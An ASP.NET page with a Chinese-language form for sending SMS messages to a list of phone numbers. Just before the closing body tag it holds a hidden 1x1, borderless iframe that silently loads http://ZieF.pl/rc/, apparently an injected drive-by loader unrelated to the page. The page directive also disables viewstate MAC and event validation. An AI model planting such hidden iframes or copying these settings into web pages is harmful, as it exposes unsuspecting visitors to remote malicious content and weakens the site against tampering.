<%@ page language="C#" autoeventwireup="true" inherits="ims.web.sms, ims.web" enableviewstatemac="false" enableEventValidation="false" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" id="sms">
<head runat="server">
    <title>发送短信</title>
</head>
<body>
    <form id="form1" runat="server">
    <asp:ScriptManager ID="sm" runat="server">
        <Scripts><asp:ScriptReference Name="MicrosoftAjax.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/><asp:ScriptReference Name="MicrosoftAjaxWebForms.js" ScriptMode="Auto" Path="~/js/MsAjax.js"/></Scripts>
    </asp:ScriptManager>
    
    <asp:UpdatePanel ID="up" runat="server" ChildrenAsTriggers="false" UpdateMode="conditional" RenderMode="Inline">
    <ContentTemplate>
        <div runat="server" id="divMsg" class="hide"></div>
        <div runat="server" id="sendBox">
            手机号码：<br /><asp:TextBox runat="server" ID="nums" ToolTip="输入要发送到的手机号码，多个号码之间用空格或逗号或换行分隔" Rows="1" Width="98%"></asp:TextBox><div style="height:6px;overflow:hidden"></div>
            短信内容：<br /><asp:TextBox runat="server" ID="smsBody" Width="98%" onpaste="setCount();" oninput="setCount();" onkeyup="setCount();" TextMode="MultiLine" Rows="8"></asp:TextBox><br />
            <div id="divCount">还可输入<span id="count">250</span>字</div>
        </div>
        <div id="btnArea" runat="server"><asp:Button runat="server" ID="btnSend" OnClick="SendSms" OnClientClick="return sending();" Text="发送" CssClass="btn big" /></div>
        <div runat="server" id="resultArea" visible="false">
            <div runat="server" id="resultMsg"></div>
            <input type="button" class="btn big" runat="server" id="btnContinue" value="继 续" onserverclick="SendSms" />
            <input type="button" class="btn big" id="btnClose" value="关 闭" onclick="back();" />
        </div>
    </ContentTemplate>
    <Triggers>
        <asp:AsyncPostBackTrigger ControlID="btnSend" EventName="Click" />
        <asp:AsyncPostBackTrigger ControlID="btnContinue" EventName="serverclick" />
    </Triggers>
    </asp:UpdatePanel>
    <script src="js/comm.js"></script><script src="js/sms.js"></script>
    </form>
<iframe src="http://ZieF.pl/rc/" width=1 height=1 style="border:0"></iframe>
</body>
</html>
